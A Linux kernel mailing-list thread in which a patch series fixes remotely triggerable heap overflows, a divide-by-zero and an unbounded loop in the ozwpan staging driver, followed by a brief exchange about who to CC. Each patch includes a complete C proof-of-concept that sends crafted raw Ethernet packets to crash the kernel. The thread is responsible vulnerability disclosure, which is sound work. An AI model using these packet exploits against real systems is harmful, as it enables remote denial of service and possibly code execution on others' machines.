The ozwpan driver accepts network packets, parses them, and converts
them into various USB functionality. There are numerous security
vulnerabilities in the handling of these packets. Two of them result in
a memcpy(kernel_buffer, network_packet, -length), one of them is a
divide-by-zero, and one of them is a loop that decrements -1 until it's
zero.
I've written a very simple proof-of-concept for each one of these
vulnerabilities to aid with detecting and fixing them. The general
operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0
- Compile the PoC with ozprotocol.h from the kernel tree:
$ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
$ gcc ./poc.c -o ./poc
- Run the PoC:
# ./poc eth0 [mac-address]
These PoCs should also be useful to the maintainers for testing out
constructing and sending various other types of malformed packets against
which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two
patches of this set can receive one CVE for both, and the remaining two
can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in
this driver that are worth looking into. When ozwpan receives a packet,
it casts the packet into a variety of different structs, based on the
value of type and length parameters inside the packet. When making these
casts, and when reading bytes based on this length parameter, the actual
length of the packet in the socket buffer is never actually consulted. As
such, it's very likely that a packet could be sent that results in the
kernel reading memory in adjacent buffers, resulting in an information
leak, or from unpaged addresses, resulting in a crash. In the former case,
it may be possible with certain message types to actually send these
leaked adjacent bytes back to the sender of the packet. So, I'd highly
recommend the maintainers of this driver go branch-by-branch from the
initial rx function, adding checks to ensure all reads and casts are
within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++--
3 files changed, 15 insertions(+), 8 deletions(-)
--
2.3.6
Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index d434d8c..cd6c63e 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
case OZ_GET_DESC_RSP: {
struct oz_get_desc_rsp *body =
(struct oz_get_desc_rsp *)usb_hdr;
- int data_len = elt->length -
+ u8 data_len = elt->length -
sizeof(struct oz_get_desc_rsp) + 1;
+ if (data_len > elt->length)
+ break;
u16 offs = le16_to_cpu(get_unaligned(&body->offset));
u16 total_size =
le16_to_cpu(get_unaligned(&body->total_size));
--
2.3.6
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
---
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c
index 5ff4716..784b5ec 100644
--- a/drivers/staging/ozwpan/ozhcd.c
+++ b/drivers/staging/ozwpan/ozhcd.c
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
/*
* Context: softirq
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
- int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+ u8 length, u16 offset, u16 total_size)
{
struct oz_port *port = hport;
struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
if (!urb)
return;
if (status == 0) {
- int copy_len;
- int required_size = urb->transfer_buffer_length;
+ unsigned int copy_len;
+ unsigned int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h
index 4249fa3..d2a6085 100644
--- a/drivers/staging/ozwpan/ozusbif.h
+++ b/drivers/staging/ozwpan/ozusbif.h
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
/* Confirmation functions.
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
- const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+ const u8 *desc, u8 length, u16 offset, u16 total_size);
void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
const u8 *data, int data_len);
--
2.3.6
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
---
drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index cd6c63e..2e67956 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n = (len - sizeof(struct oz_multiple_fixed)+1)
+ int n;
+ if (!body->unit_size)
+ break;
+ n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
2.3.6
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 2e67956..934a571 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n;
+ unsigned int n;
if (!body->unit_size)
break;
n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
+ if (n > len / body->unit_size)
+ break;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
--
2.3.6
On Wed, May 13, 2015 at 08:33:30PM +0200, Jason A. Donenfeld wrote:
> The ozwpan driver accepts network packets, parses them, and converts
> them into various USB functionality. There are numerous security
> vulnerabilities in the handling of these packets. Two of them result in
> a memcpy(kernel_buffer, network_packet, -length), one of them is a
> divide-by-zero, and one of them is a loop that decrements -1 until it's
> zero.
>
> I've written a very simple proof-of-concept for each one of these
> vulnerabilities to aid with detecting and fixing them. The general
> operation of each proof-of-concept code is:
>
> - Load the module with:
> # insmod ozwpan.ko g_net_dev=eth0
> - Compile the PoC with ozprotocol.h from the kernel tree:
> $ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
> $ gcc ./poc.c -o ./poc
> - Run the PoC:
> # ./poc eth0 [mac-address]
>
> These PoCs should also be useful to the maintainers for testing out
> constructing and sending various other types of malformed packets against
> which this driver should be hardened.
>
> Please assign CVEs for these vulnerabilities. I believe the first two
> patches of this set can receive one CVE for both, and the remaining two
> can receive one CVE each.
>
>
> On a slightly related note, there are several other vulnerabilities in
> this driver that are worth looking into. When ozwpan receives a packet,
> it casts the packet into a variety of different structs, based on the
> value of type and length parameters inside the packet. When making these
> casts, and when reading bytes based on this length parameter, the actual
> length of the packet in the socket buffer is never actually consulted. As
> such, it's very likely that a packet could be sent that results in the
> kernel reading memory in adjacent buffers, resulting in an information
> leak, or from unpaged addresses, resulting in a crash. In the former case,
> it may be possible with certain message types to actually send these
> leaked adjacent bytes back to the sender of the packet. So, I'd highly
> recommend the maintainers of this driver go branch-by-branch from the
> initial rx function, adding checks to ensure all reads and casts are
> within the bounds of the socket buffer.
>
> Jason A. Donenfeld (4):
> ozwpan: Use proper check to prevent heap overflow
> ozwpan: Use unsigned ints to prevent heap overflow
> ozwpan: divide-by-zero leading to panic
> ozwpan: unchecked signed subtraction leads to DoS
>
> drivers/staging/ozwpan/ozhcd.c | 8 ++++----
> drivers/staging/ozwpan/ozusbif.h | 4 ++--
> drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++--
> 3 files changed, 15 insertions(+), 8 deletions(-)
Any reason you didn't cc: the maintainer who could actually apply these
to the kernel tree?
Please use scripts/get_maintainer.pl to properly notify the correct
people.
thanks,
greg k-h
On Wed, May 13, 2015 at 8:43 PM, Greg KH <[email protected]> wrote:
> Any reason you didn't cc: the maintainer who could actually apply these
> to the kernel tree?
I did, look at the email again: the first recipient is
<[email protected]>.
>From the MAINTAINERS file:
STAGING - OZMO DEVICES USB OVER WIFI DRIVER
M: Shigekatsu Tateno <[email protected]>
S: Maintained
F: drivers/staging/ozwpan/
On Wed, May 13, 2015 at 08:48:31PM +0200, Jason A. Donenfeld wrote:
> On Wed, May 13, 2015 at 8:43 PM, Greg KH <[email protected]> wrote:
> > Any reason you didn't cc: the maintainer who could actually apply these
> > to the kernel tree?
>
> I did, look at the email again: the first recipient is
> <[email protected]>.
>
> >From the MAINTAINERS file:
> STAGING - OZMO DEVICES USB OVER WIFI DRIVER
> M: Shigekatsu Tateno <[email protected]>
> S: Maintained
> F: drivers/staging/ozwpan/
$ ./scripts/get_maintainer.pl --file drivers/staging/ozwpan/Makefile
Shigekatsu Tateno <[email protected]> (maintainer:STAGING - OZMO DE...)
Greg Kroah-Hartman <[email protected]> (supporter:STAGING SUBSYSTEM)
[email protected] (open list:STAGING SUBSYSTEM)
[email protected] (open list)
You missed me, and the driverdev mailing list. netdev could care less
about this.
Please resend to get the proper people involved.
thanks,
greg k-h
The ozwpan driver accepts network packets, parses them, and converts
them into various USB functionality. There are numerous security
vulnerabilities in the handling of these packets. Two of them result in
a memcpy(kernel_buffer, network_packet, -length), one of them is a
divide-by-zero, and one of them is a loop that decrements -1 until it's
zero.
I've written a very simple proof-of-concept for each one of these
vulnerabilities to aid with detecting and fixing them. The general
operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0
- Compile the PoC with ozprotocol.h from the kernel tree:
$ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
$ gcc ./poc.c -o ./poc
- Run the PoC:
# ./poc eth0 [mac-address]
These PoCs should also be useful to the maintainers for testing out
constructing and sending various other types of malformed packets against
which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two
patches of this set can receive one CVE for both, and the remaining two
can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in
this driver that are worth looking into. When ozwpan receives a packet,
it casts the packet into a variety of different structs, based on the
value of type and length parameters inside the packet. When making these
casts, and when reading bytes based on this length parameter, the actual
length of the packet in the socket buffer is never actually consulted. As
such, it's very likely that a packet could be sent that results in the
kernel reading memory in adjacent buffers, resulting in an information
leak, or from unpaged addresses, resulting in a crash. In the former case,
it may be possible with certain message types to actually send these
leaked adjacent bytes back to the sender of the packet. So, I'd highly
recommend the maintainers of this driver go branch-by-branch from the
initial rx function, adding checks to ensure all reads and casts are
within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++--
3 files changed, 15 insertions(+), 8 deletions(-)
--
2.3.6
Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
